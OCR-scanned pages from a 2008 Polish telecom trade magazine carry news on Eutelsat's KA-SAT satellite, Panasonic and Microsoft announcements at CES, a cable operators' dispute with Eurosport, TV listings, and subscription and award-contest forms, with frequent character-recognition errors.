cowego bedzie porébwnywalna ze standardem
ADSL.

Giuliano Berretta, prezes Eutelsat, podpisujac
z EADS Astrium kontrakt na budowe KA-SAT,
stwierdzil: — Nowoczesne satelity pasma Ku du-
Zej mocy zapewniajgce rozlegte pokrycie sg do-
skonale przystosowane do celdw transmisji video
oraz realizacji ustug w zakresie profesjonalnych
sieci danych, stanowigc kluczowy element zaso-
bow Eutelsat. Dzisiaj, wraz z ogtoszeniem przyje-
cia strategii zaktadajgcej transmisje wytgcznie
w pasmie Ka, otworzylismy nowy rozdziat w hi-
storii przekazu satelitarnego. Zamierzamy two-
rzy¢ nowy typ infrastruktury zaprojektowany spe-
cjalnie na potrzeby ustug interaktywnych ofero-
wanych klientom. Potgczenie mozliwoSci nowych
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satelitow z satelitami nadawczymi pasma Ku
w ramach konstelacji HOT BIRD™ da nam
wyjgtkowg mozliwoS$¢ poszerzenia zakresu ustug
cyfrowych stuzgcych rozrywce z jednej pozycji
orbitalnej na obszarze catej Europy.

Znaczgcg cze$¢ przepustowosci pasma Ka be-
dzie mozna wykorzysta¢ na potrzeby przekazu
tresci lokalnych i regionalnych. Satelita KA-SAT
zaprojektowany zostat do celow transmisji no-
wych aplikacji video wymagajgcych bardzo wyso-
kiej przepustowosci, takich jak np. HD Digital Ci-
nema czy telewizja 3D.

Dzieki wprowadzeniu w Zycie programu rozbudo-
wy zasobow satelitarnych przez Eutelsat i ViaSat
oraz wspotpracy obu firm, mozliwy bedzie rozwdj
satelitarnych ustug szerokopasmowych dla klien-
tow indywidualnych. WydajnoS¢ i konkurencyj-
nos¢ tego typu ustug bedzie coraz wieksza. Pro-
gram przyczyni sie takze do wyeliminowania zja-
wiska tzw. wykluczenia cyfrowego. Szacuje sie,
Zze w roku 2010 ponad 15 min gospodarstw do-
mowych w Europie oraz tyle samo odbiorcow
w Ameryce Pdtnocnej wcigz pozostawac bedzie
poza zasiegiem naziemnych sieci szerokopas-
mowych.

Rozbudowa infrastruktury

Satelita KA-SAT bazowac bedzie na platformie
EUROSTAR E3000. To siedemnasty z kolei sate-
lita zaméwiony przez Eutelsat w firmie EADS
Astrium. Zywotno$¢ KA-SAT przewiduje sie na
okres 15 lat, masa startowa ma wynosi¢ 5,8 tony.
tadunek uzyteczny satelity zuzywac¢ bedzie
ponad 11 kW mocy. Panele stoneczne majg ge-
nerowa¢ moc rzedu 15 kW.

Budowa nowego satelity wraz z powigzanym sy-
stemem naziemnym stanowi wazny element
planu inwestycyjnego Eutelsat Communications
ogtoszonego w pazdzierniku 2007 roku razem
z wynikami za pierwszy kwartat roku finansowe-
go 2007-2008.

Zrodfo: Eutelsat Communication
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Panasonic na poktadzie z Google i YouTube!

telewizory

. Zintegrowane z internetem

Panasonic Viera

Podczas miedzynarodowych targéw CES 2008 Panasonic

i YouTube ogftosily, ze w wyniku nawigzania przez

obie firmy wspéipracy telewidzowie uzyskajg szybki

i fatwy dostep do milionéw plikéw video z serwisu
YouTube. Bedzie to mozliwe dzieki nowym ptaskim
telewizorom plazmowym wysokiej rozdzielczosSci
Panasonic Viera z serii PZ850 wyposazonych

w interfejs Viera Cast™. Gwarantuje on nie tylko mozliwo$¢
ogladania plikéw video z YouTube, ale takze przegladania

i publikowania zdje¢ w popularnym serwisie Google

Picasa Web Albums.
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Panasonic zadbat o to, aby mozliwe byto przeglada-
nie popularnych serwiséw foto-video bezposrednio
na ekranie zintegrowanego z internetem telewizora.
Wyro6zniajace sie ciekawg stylistykg telewizory z se-
rii PZ850 wyposazone w interfejs Viera Cast™ umoz-
liwiajg wyszukiwanie i ogladanie bezptatnych filméw
video z YouTube oraz przeglgdanie i dodawanie on-
line zdje¢ w niezwykle popularnym serwisie fotogra-
ficznym Google Picasa Web Albums w komforto-
wych warunkach domowego salonu.

— Jestesmy podekscytowani myslag o wprowadzeniu
na rynek telewizoréw wysokiej rozdzielczosci z serii
PZ850, ktore umozliwiajg dostep do plikow video
z YouTube i zdje¢ z Picasa praktycznie po pojedyn-
czym Kliknieciu. Po raz pierwszy telewidzowie bedag
mogli w petni skorzystac ze zintegrowanej rozrywki
na duzym ekranie. YouTube juz jest spektakularnym
globalnym sukcesem jego tworcow, a my dalej roz-
szerzamy mozliwosci domowej przygody w Swiecie

HD — powiedziat Toshihiro Sakamoto, prezes AVC
Networks Company w Panasonic.

— Nasze dziatania koncentrujemy na dostarczaniu
uzytkownikom niesamowitych wrazen, niezaleznie
od ich aktualnej lokalizacji. Wspotpraca z takim lide-
rem branzy, jak Panasonic pozwoli na swobode
przeszukiwania zasobow naszego serwisu w domo-
wym zaciszu w tak intuicyjny sposob, jak to sie dzie-
Jje w przypadku korzystania z komputerow osobis-
tych — powiedziat Steve Chen, wspoizatozyciel i dy-
rektor zarzgdzajgcy ds. technicznych YouTube.

— Tzw. rodzinny telewizor jest przydatnym i jed-
noczes$nie zabawnym sposobem na wyszukiwanie
i umieszczanie ulubionych zdjec¢ w internecie. Takze
dzielenie sie nimi na duzym ekranie z rodzing i przy-
Jaciotmi przynosi wiele radosci. Zintegrowane z ko-
lekcjami zdje¢ Google Picasa Web Albums telewizo-
ry Panasonic Viera pomagajg osiggng¢ nam jeden
Z naszych priorytetéw — dostarczanie uzytkownikom
zdje¢ zawsze wtedy, kiedy majg na to ochote — po-
wiedziat Mike Horowitz, Product Manager w Picasa
Web Albums, Google.

— Wspdtpraca Panasonic z YouTube i Picasa Web
Albums jest przyktadem na to, jak wiele uwagi po-
Swigcamy integracji internetu z telewizjg wysokiej
rozdzielczo$ci, co wydaje sie by¢ naturalng drogq
rozwoju globalnej sieci — powiedziat Merwan Mere-
by, wiceprezes dziatu New Business Development
w Panasonic Corporation of North America. B

Zrodfo: Panasonic Polska
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Komentarz Prezesa Polskiej Izby Komunikacji Elektronicznej

Dyktatura nadawcow

Decyzja Spétki Multimedia Polska o nieprzedtuzeniu
umowy na nadawanie programu Eurosport jest bar-
dzo waznym sygnatem dla $rodowiska operatorow
kablowych. Waznym i niezwykle znaczgcym, ponie-
waz stanowi przestanke konca okresu dyktatury na-
dawcow na polskim rynku telewizyjnym.

Tacy nadawcy, jak francuski Eurosport albo po part-
nersku beda traktowac 4,5 miliona widzéw w catym
kraju, albo stale beda trwaty konflikty na tle ich zbyt
wygorowanych zgdan finansowych, ktore uderzajg
i w abonentéw telewizji kablowej, i w operatoréw,
szczegolnie tych w miastach $redniej wielkosci oraz
tych ,niewielkich” — lokalnych czy osiedlowych.

Od 2006 roku Polska Izba Komunikacji Elektronicz-
nej, zrzeszajgca najliczniejszg grupe operatorow roz-
nej wielkosci z catego kraju, prowadzi rozmowy
z Eurosportem na temat korzystnych warunkoéw ree-
mitowania programu w sieciach kablowych. Warun-
kow korzystnych dla wszystkich trzech stron — na-
dawcoéw, operatoréw i abonentéw. Rozmowy te sg

MONTLINIKACIA o |
ELERTRONICZNA §
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jednak bezskuteczne, mimo naszej woli negocjacji
i doprowadzenia do kompromisu.

Warto zauwazy¢, ze polski abonent ma juz do wybo-
ru osiem programoéw sportowych, ktére sg w stanie
zastgpi¢ oferte Eurosport za godziwg cene. To sam
rynek bowiem powinien oceni¢, czy dany program
jest wart swojej ceny, czy nie — takie sg zdrowe za-
sady gospodarki wolnorynkowej w demokratycznym
kraju.

Wobec nieprzejednanej postawy kierownictwa pro-
gramu Eurosport operatorzy zrzeszeni w PIKE po-
waznie rozwazajg, aby pojs¢ w $lady Spotki Multi-
media Polska i wypowiedzie¢ umowy z kierownic-
twem Eurosport. Sg na to gotowi. A co w takiej sytu-
acji robi kierownictwo programu Eurosport? Milczy,
nie reaguje... Ignoruje? Ale kogo? Operatoréw czy
swoich widzoéw?

Katarzyna Turska
— rzecznik prasowy PIKE
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Cyfrowe wizje Microsoft

. Bill Gates:

Nowa ,,Cyfrowa Dekada”

Bill Gates oraz Robbie Bach, dyrektor dziatu Entertainment

& Devices w Microsoft Corp., ogfosili podczas tegorocznej
edycji targow Consumer Electronics Show (CES) w Las Vegas
nowe wizje oraz inicjatywy Microsoft w zakresie rozwigzan do
rozrywki. Poinformowano m.in. o umowach zawartych pomiedzy
Microsoft a Disney-ABC Television Group, NBC Universal oraz
Metro-Goldwyn-Mayer Studios Inc. (MGM). Dziatania te maja

na celu podkreslenie znaczenia oprogramowania w codziennym
zyciu kazdego czlowieka oraz mozliwosci, jakie niosq ze sobg
nowe technologie w zakresie komunikacji, dostepu do informacji
i innych oséb oraz rozrywki.

W swoim wystgpieniu Bill Gates podkreslit, ze ostat-
nie lata mozna zaliczy¢ do pierwszej, trwajgcej od
2001 roku prawdziwej ,Cyfrowej Dekady”. W tym
czasie stale rosta popularno$¢ komputerow PC
pracujgcych pod kontrolg systemu Windows, roz-
powszechniony zostat szerokopasmowy dostep do
internetu. Ogromng popularno$¢ zyskaty telefony
komérkowe, a takze mobilne urzadzenia multime-
dialne.

— Odkad po raz pierwszy mowitem o ,,Cyfrowej De-
kadzie” w 2001 roku, tempo wzrostu popularnosci
technologii cyfrowych, dzieki ktérym zmienia sie
Sposob, w jaki pracujemy, uczymy sie i bawimy, byto
ogromne. Mimo to, nadal jestesmy na poczatku dro-
gi prowadzgcej do zmian, jakie wniesie w nasze zy-
cie technologia. Kolejna ,Cyfrowa Dekada” przy-
niesie nam jeszcze wieksze korzysci wynikajgce
z uzytkowania nowych technologii — powiedziat Bill
Gates.

Podczas swojego wystapienia Bill Gates zaprezento-
wat wiasng wizje najblizszej ,Cyfrowej Dekady”,
w ktorej szerokie mozliwosci wynikajagce z uzytkowa-
nia technologii stang sie statym i powszechnym ele-
mentem naszego zycia. Technologia High-Definition
bedzie powszechnie dostepna; naturalne interfejsy
dostosowane do potrzeb uzytkownikéw, urzgdzenia
z ustugami opartymi na internecie oraz szerokie moz-
liwosci przechowywania ogromnych ilosci danych,
dostepnych za posrednictwem internetu sprawig, ze
uzytkownicy uzyskajg mozliwo$¢ szybkiego i nieskre-
powanego dostepu do wszystkich potrzebnych i po-
szukiwanych informacji i mozliwosci, bez wzgledu na
miejsce, w ktérym sie znajduja.

Efektem umowy pomigdzy Microsoft i NBC Univer-
sal bedzie mozliwos¢ dostepu do licznych ma-
teriatow filmowych, zdjeciowych i multimedialnych
zwigzanych z tegorocznymi igrzyskami olimpijskimi,
ktére odbedq sie w Pekinie. Materiaty o charakte-
rze ,on-demand” bedg zamieszczane na stronach
NBCOlympics.com w portalu MSN, ktéra bedzie ofi-
cjalng amerykanskg strong igrzysk. Serwis, zasilany

technologig Microsoft Silverlight, bedzie dostepny
bezptatnie dla uzytkownikow wszystkich technologii,
przegladarek internetowych oraz platform sprze-
towo-programowych. Firma poinformowata réwniez,
ze stacje telewizyjne ABC Television oraz Disney
Chanel nawigzg wspétprace z serwisem Xbox Live
i bedg dostepne do pobrania bezposrednio na kon-
sole Xbox 360. Dodatkowo, studio MGM udostepni
za posrednictwem serwisu swojg biblioteke naj-
wigkszych hitéw filmowych.

Microsoft poinformowat rowniez o sukcesie konsoli
do gier Xbox 360, ktéra w samym okresie $wigtecz-
nym zostata sprzedana w 17,7 milionéw egzempla-
rzy. Amerykanscy konsumenci wydali w 2007 roku
na konsole Xbox 360 wigcej niz na jakgkolwiek inng
platforme do gry. Tym samym Microsoft ma szanse
odnie$¢ najwiekszy sukces w dziedzinie sprzedazy
gier i sprzetu do gier komputerowych w historii tego
rynku w USA. W swoim wystgpieniu Bill Gates
mowit tez o ciggtej transformacji komputera osobi-
stego oraz o sprzedaniu ponad 100 min egzempla-
rzy nowego systemu operacyjnego firmy — Windows
Vista. Tym samym Vista staje sie jednym z central-
nych elementéow tworzacych idee ,Cyfrowej Deka-
dy”.

Poinformowano réwniez, ze sieci telewizyjne Showti-
me Networks Inc. oraz Turner Broadcasting System
Inc.’s TNT i CNN wprowadzity nowe aplikacje umozli-
wiajgce odbidr telewizji cyfrowej za posrednictwem
platformy Microsoft Mediaroom Internet Protocol Te-
levision (IPTV), dostepnej u ponad 20 najwiekszych
dostawcow ustug internetowych na $wiecie.

Dodatkowo, Microsoft poinformowat, ze Samsung
Electronics Co. Ltd. udzieli wsparcia przy wprowa-
dzaniu ustugi Extender for Windows Media Center.
Ustuga ta umozliwi telewidzom dostep do jakosci
HD za posrednictwem komputera osobistego wypo-
sazonego w system Windows Vista oraz Media
Center i tgcze szerokopasmowe.

Podczas swych wystgpien Gates i Bach wspomnieli
tez o rozwoju interfejsow uzytkownika. Bach zapo-
wiedziat nowg wersje Tellme, zintegrowanego mo-
bilnego serwisu korzystajgcego z elementéw wizual-
nych i gtosowych, dzieki czemu uzytkownik telefonu
moze wyswietlaé potrzebne elementy za pomocg
komend gtosowych. Tellme jest dostepny w sieciach
AT&T Wireless i Sprint Phones i bedzie wspotdziatat
z przysztymi wersjami systemu Windows Mobile. B

Wiecej informacji na ten temat

mozna uzyskac na stronach:
http://www.microsoft.com/presspass/events/ces/def
ault. mspx

oraz http://www.microsoft.com/ces/
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ZAPOWIEDZI - LUTY 2008

NOWOSC! W POSZUKIWANIU SMAKOW

Premiera w poniedziatek, 11 lutego o godz. 21.00.

Peta Mathias jest waszym globalnym kulinarnym przewodnikiem. Wraz z nig sprébujemy wszystkich sma-
kéw — od mongolskiego grilla, po soul food z Nowego Orleanu. Indie, Chile, Hawaje oraz Chiny sg
w menu, gdy Peta prébuje i kosztuje sie smakiem. Od dan ulicznych, po dania najlepszych restauracji. Po
drodze odkrywamy, iz esencjg kazdego miejsca sg ludzie i kuchnia. Entuzjazm Pety z pewnoscig zarazi
was apetytem.

Tajlandia — 11 luty, o godz. 21.30
Australia, potnocno-wschodnia Wiktoria — 18 luty, o godz. 21.30
Wietnam — 25 luty, o godz. 21.30

ODLEGLE LADY

Nowe odcinki

Premiera we wtorek, 26 luty o godz. 19.30.

Niewazne, ile razy zeglowali juz w kierunki zachodzgcego stofica, zawsze wracajag, by opowiedzie¢ nam,
jak byto. Paul i Sheryl wracajg tym razem z nowa todzig. W tej serii Paul i Sheryl Shard zegnajg sie ze
swojg starg todzig i rozpoczynajg poszukiwania nowej. Podczas poszukiwan odpowiedniej jednostki,
Shardowie zeglujg na kilku jachtach z przyjaciétmi. Odbywajq ostatnig, emocjonalng podréz na Malte na
poktadzie Two Step, przed przekazaniem jej nowym wiascicielom i zmierzeniem sie z przeprawg przez
Atlantyk na nowej todzi. Nowe odcinki, to nowe emocje i przygody, ktére mozesz z nami przezyé.

ZAPOWIEDZI - MARZEC 2

GNIEWNA PLANETA (ANGRY PLANET)
Nowa seria

Premiera w czwartek, 20 marca o godz. 20.30.
Tylko wyjatkowy podréznik moze zosta¢ fowcg burz, niektorzy powiedzieliby nawet ze to raczej wariat niz
podréznik. George Kourounis jest jednym z najbardziej aktywnych i odwaznych ,fowcéw burz”, jest on, za-
tem ,krélem wariatow”. Nie ma watpliwosci, co do odwagi George’a, ktéry stawia sie na drodze okrutnych
tornad w Teksasie, przedziera si¢ przez gotujgce sie jezioro na Karaibach, i jedzie do najgoretszego miej-
sca na $wiecie w Etiopii. Zdecydowanie bezpieczniej jest oglada¢ George’a zmagajacego sie z lawinami
i zamieciami $nieznymi w Kanadzie z zacisza wlasnego domu. George nawet bierze $lub na skraju wybu-
chajacego wulkanu. Wulkan to tylko cze$¢ jego zmartwien. Odwazny facet!

Powtérka w sobote, 23 marca o godz. 19.00.

Takséwka za 100 dolaréw

Nowe odcinki

Premiera we wtorek, 11 marca o godz. 21.30.

Niezaspokojony przygodami z pierwszej serii, nasz zesp6t wraca, by znowu bawi¢ si¢ ze swoimi
ulubionymi taksowkarzami. Tym razem jadg do Amsterdamu, Bukaresztu, Ho Chi Minh City oraz do
najbardziej zatloczonego miasta $wiata, Kairu. Pojawiajg sie nawet w Chinach, gdzie takséwkarzowi
udato sie znalez¢ Chinski Mur, co w sumie nie byto takie trudne z uwagi na jego dtugos¢. Kazdy
takséwkarz ma swoje wiasne skarby, takie jak zamki z duchami czy zupe z weza. Spodziewajcie sig
wiecej przygod z poza utartej Sciezki.

Luksusowe podréze Varuna Sharmy

Premiera w $rode, 12 marca o godz. 18.00.

Varun Sharma powraca ze swojg listaq najbardziej pamietnych i ekskluzywnych miejsc na $wiecie.
Varunowi udaje sie znalez¢ jedyny w Tokio pokdj z wlasnym basenem — tak, jest to jego pokoj. Zajadajac
sie kanapkg za 150 USD w hotelu Rotz-Carlton, Varunowi wios sie jezy na mysl o podrézowaniu
z ograniczonym budzetem. Ogladajcie rowniez specjalny program Varuna o daniach i drinkach, podczas
ktorego gotowac bedzie z najlepszymi kucharzami swiata.
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Plazmowa rewolucja

. Prototypowe

wySwietlacze plazmowe

PDP

Panasonic zaprezentowat prototypowe
wyswietlacze plazmowe (PDP) wykorzystujace

przefomowe technologie. Wsréd modeli znalazt sie
m.in. Panel o przekatnej 42 cale wyrdézniajacy sie
technologig o dwukrotnie wyzszej efektywnosci,

zmniejszajacq o polowe zuzycie energii
przy jednoczesnym dwukrotnym zwiekszeniu

Jjasnosci oraz ultraptaski model o przekatnej 50 cali

i grubosci ponizej 1 cala.

Sercem wys$wietlaczy jest technologia o podwojnej
efektywnosci zastosowana w prototypie o prze-
katnej 42 cale. Panasonic przeprowadzit gruntowng,
ocene swojej poprzedniej technologii IC oraz stru-
ktur paneli, a nastepnie opra-
cowat nowy luminofor oraz te-
chnologie projektowania ko-
morek, dzieki ktérym uspraw-
nieniu ulegt proces wytado-
wan. Ulepszone obwody oraz
mechanizm sterowania przy-
czyniajg sie natomiast do zna-
czgcego zmniejszenia utraty
energii. Dzigki temu, prototyp
Panasonic o przekatnej 42
cale wyréznia sie dwukrotnie
wyzszg efektywnoscig lumi-
nancji i oferuje takg sama jas-
nos¢, jak istniejacy 42-calowy
wys$wietlacz plazmowy o pet-
nej rozdzielczosci (1080p), zuzywajgc przy tym
w skali roku o potowe mniej energii.

Technologia o podwoéjnej efektywnosci tworzy baze
do budowy wyswietlaczy plazmowych nowej ge-
neracji. Panele bedg ciensze, przekatne ekranu
zwiekszg sie, wySwietlane obrazy wysokiej rozdziel-
czoéci bedg jasniejsze, a zuzycie energii spadnie.

Przyktadowo, 24,7-milimetrowy (1 cal) catkowicie
ptaski wyswietlacz plazmowy o przekatnej 50 cali
ma gteboko$¢ okoto 4 razy mniejszg niz poprzednie
modele. Jest to mozliwe dzigki nowym obwodom
i zmienionej technologii sterowania. Waga prototypu
wynosi zaledwie 22 kg, czyli mniej wiecej o potowe
mniej niz waga jego poprzednikoéw. Cienszy profil
i Izejsza waga nowego 50-calowego ekranu zapew-
niajg swobode aranzacji wnetrza.

Telewizor moze stanowi¢ eleganckie uzupetnienie
wystroju. W zaleznosci od preferencji uzytkownika,
prototypowy telewizor mozna zawiesi¢ na $cianie

lub podwiesi¢ pod sufitem.
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Przedstawione podczas targéw CES 2008 innowa-
cje moga okazac¢ sie zaledwie czubkiem gory lodo-
wej jezeli chodzi o niezmierzony potencjat technolo-
gii plazmowej. Jest ona stosunkowo mtodg techno-
logig — od czasu wprowadzenia pierwszych telewi-
zoréw plazmowych na rynek uptyneto zaledwie
okoto 10 lat. Wraz z rozwojem rynku poprawiata sie
jakos¢ tych telewizoréw i rosta ich popularnosé az
do chwili, gdy staty sie liderem globalnego rynku du-
zych wys$wietlaczy wysokiej jakosci.

Nieustajgcy rozwdj technologii PDP sprawit, ze ba-
zujgce na niej telewizory zyskaty opinie rozwigzan
doskonatych pod wzgledem kontrastu, odwzorowa-
nia barw, rozdzielczosci video i szerokiego kata wi-
dzenia.

W przyszitoéci standardem stanie sie obraz wysokiej
rozdzielczosci — dotyczy to zaréwno transmisji tele-
wizyjnych, jak i np. obrazéw kamer oraz odtwarza-
czy video zgodnych z formatem Blu-ray. Bedziemy
Swiadkami postepu w rozwoju tacznosci bezprzewo-
dowej i innych technologii peryferyjnych, co przy-
czyni sie do zwiekszenia konwergencji miedzy tele-
wizorami a technologiami komunikacyjnymi. Réwno-
legle do tych zmian zwigkszy sie popyt na wielko-
ekranowe ptaskie telewizory wysokiej rozdzielczo-
§ci. Jednocze$nie wzroénie wykorzystanie ekranow
PDP m.in. w dziedzinie medycyny i edukaciji.

Panasonic dazy do tego, aby w swoich produktach
coraz wyzej ustawia¢ poprzeczke w kwestii jako-
8ci oraz poprawia¢ ich walory ekologiczne. Byt np.
pierwszag firma, ktdra catkowicie wyeliminowata otow
z produkowanych przez siebie telewizoréw plazmo-
wych. Wyr6zniajg sie one takze dtugim czasem
zycia, wynoszgcym 100 tys. godzin. Do ich bu-
dowy wykorzystuje sie takze naturalne materiaty,
np. membrany z wtbkna bambusowego stosowane
w gtosnikach. B

Zrodto: Panasonic Polska
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Zachecamy do prenumeraty INFOTELA.

Zapewni ona Czytelnikom staty,
pewny dostep do wiedzy i informacji
na tematy szeroko pojetej
telekomunikacji i teleinformatyki.

Cena prenumeraty rocznej wynosi
60 zi.

Koszty wysytki pocztowe;
pokrywa redakcja.

i

1. Druk zamowienia prenumeraty znajduje sie
na stronie portalu www.techbox.pl.

2. Po wypetnieniu, zamowienie prosze prze-
sta¢ faksem na nr 052 373 52 43 lub pocz-
tq na adres redakcji. Wydawnictwo nie po-
nosi odpowiedzialnosci za skutki nieprawi-
dtowego wypetnienia zaméwienia.

3. Prenumerata jest przyjmowana na takg
liczbe numerow, jaka zostata zaznaczona
w zamowieniu.

4. Optaty za prenumerate mozna dokony-
wac przekazem pocztowym lub przelewem
na konto ING Bank Slaski, O/Bydgoszcz,
nr 87 1050 1139 1000 0022 4829 2084.

9. Prenumerata przyjmowana jest od naj-
blizszego numeru po otrzymaniu potwier-
dzenia wpfaty.

6. Pytania i watpliwosci nalezy kierowa¢ pod
numerami telefonow: 052 325 83 10 oraz
052 325 83 16.

yjnych
,Komunikacja
Elektroniczna 2008

DZIEWIATA EDYCJA
XATALOGY
JUZ W SPRZEDAZY

tel. 052 325 83 10
fax 052 325 83 29
www.techbox.pl

HKOMUNIKACIA o
FlEKTIRONICZINA

do corocznej prezentacji
w katalogu
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X edycja konkursu o

LAUR INFOTELA

«~Ztoty Laur Czytelnikéw INFOTELA"” w kategoriach:
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OPErator SATRLIEAINY tiiiiiiiiiiiiiiiiiiiiiircrrirrrerrars et st et es et aeseeegeesessssssssssssossssssssnssnssnnans |
operator telewizjl KabloWe] . cususssssaminsiesimsssiimmsmmissiisssmsrirssmms e i ssss s rsessge |
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telewizyjny kanat temMatyCZNy ccouueeeeiceeiiieericirerireie e e re e e s eeeeeeresnessenssseeesesessesansennennnnnns |

WIRTVIE INTETITOTOWE snurvessismesimnuie ot o co s oy S S T S S S N TR A
(nazwa witryny)

Drogi Czytelniku,

I
I
I
I
I
budowanie przyjaznych relacji miedzy firmg a klientem |
opiera sie na wzajemnym zaufaniu oraz wykorzystaniu
nowych technologii w maksymalnym uproszczeniu procedur |
zwigzanych z wprowadzeniem innowacyjnych ustug |
ukierunkowanych na uzytkownika. I
W4rod nadestanych ankiet wylosujemy osobe, dla ktorej
organizator ufunduje 3-dniowy pobyt z 0soba towarzyszaca |
w Mikotajkach — Hotel Gotebiewski podczas trwania VIl Kongresu INFOTELA |
w dniach 4-7 kwietnia 2008 . |
I
I
I
I
I
I

Czytelnie wypetnione ankiety prosimy przesytac na adres organizatora.
Dane teleadresowe osoby wypetniajgcej ankiete:

ANKIETA

Zgloszenia do udzialu w konkursie przyjmujemy do:

Szczegodtowe informacje dotyczace konkursu

znajduja sie na portalu www.techbox.pl 1 5-04-2008 r.

HN@@TH’@ ORGANIZATOR:
: ~ ul. Stawowa 110, 85-323 Bydgoszcz, tel. (052) 325 83 10, fax (052) 373 52 43
2 | e-mail: office@msgmedia.pl, www.techbox.pl




I. KATEGORIE GLOWNE: Il. KATEGORIE 1ll. KATEGORIE

e systemy komunikacji elektronicznej; ZA SZCZEGOLNE OSIAGNIECIA: ZA MINIONA DEKADE:
e elementy systemow; * osobie; * osobie;

* ustugi; e firmie; * firmie;

* wdrozenia; ® instytucji e instytucji

* media elektroniczne

IV. KATEGORIE ,,ZLtOTY LAUR CZYTELNIKOW INFOTELA”:
e operator telefonii mobilnej; e nadawca telewizyjny;

e operator telefonii stacjonarnej; e telewizyjny kanat tematyczny;
e operator satelitarny; e witryna internetowa

® operator telewizji kablowej;

X edycja konkursu o

LAUR INFOTELA

NFOTE. MG

Podczas 10. jubileuszowej edycji konkursu
wreczone zostang Platynowe Laury za miniong dekade

Uroczyste rozstrzygniecie
i wreczenie LAUROW INFOTELA

nastapi 5 czerwca 2008 roku

podczas Vil Kongresu INFOTELA

na uroczystej Gali Komunikacji Elektronicznej
Hotel Gotebiewski w Mikotajkach

Patronat honorowy:

® Urzad Komunikacji Elektronicznej

* Miedzynarodowe Targi todzkie

* Krajowe Sympozjum Telekomunikacji i Teleinformatyki
» Krajowa Izba Gospodarcza Elektroniki i Telekomunikacji

Zgloszenia do udzialu w konkursie przyjmujemy do:

Szczegotowe informacje dotyczace konkursu

znajdujg sie na portalu www.techbox.pl 1 5-04- 2008 ¥.

VL& ul. Stawowa 110, 85-323 Bydgoszcz, tel. (052) 325 83 10, fax (052) 373 52 43

%! e-mail: office@msgmedia.pl, www.techbox.pl
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L~Mielismy kilka pytan
dotyczqcych naszej sieci. Molex
udzielit rzetelnych odpowiedzi.”

Maksymalizacja sieci,
maksymalizacja potencjatu firmy

Czy Panstwa firma buduje nowg
infrastrukture sieciowa? A moze
modernizuje starszy system?

W kazdym przypadku stawiamy
sobie za cel maksymalizacje
mozliwo$ci sieci, aby zaspokajala
Panstwa potrzeby dzis

i w przyszlosci.

Nasz globalny zespol specjalistow
technicznych dokona rzetelnej oceny
Panstwa infrastruktury sieciowej

i zaoferuje najlepiej dobrane oraz
najskuteczniejsze rozwiazanie,
odpowiadajace Panstwa

wymaganiom.

Od ponad 20 lat dzial Premise
Networks firmy Molex opracowuje
wszechstronne systemy okablowania
UTP, FTP i $wiattlowodowego do
transmisji glosu, danych i sygnalow
wizyjnych.

Jako jeden z pionieréw
okablowania strukturalnego
dostarczyliSmy najnowocze$niejsze
rozwigzania firmom zaliczanym do
najwiekszych na $wiecie.

Aby optymalnie wykorzystaé
potencjat Panstwa infrastruktury
sieciowej, zapraszamy pod adres:
www.molexpn.com.pl.

molex

one company » a world of innovation
www.molexpn.com.pl pany





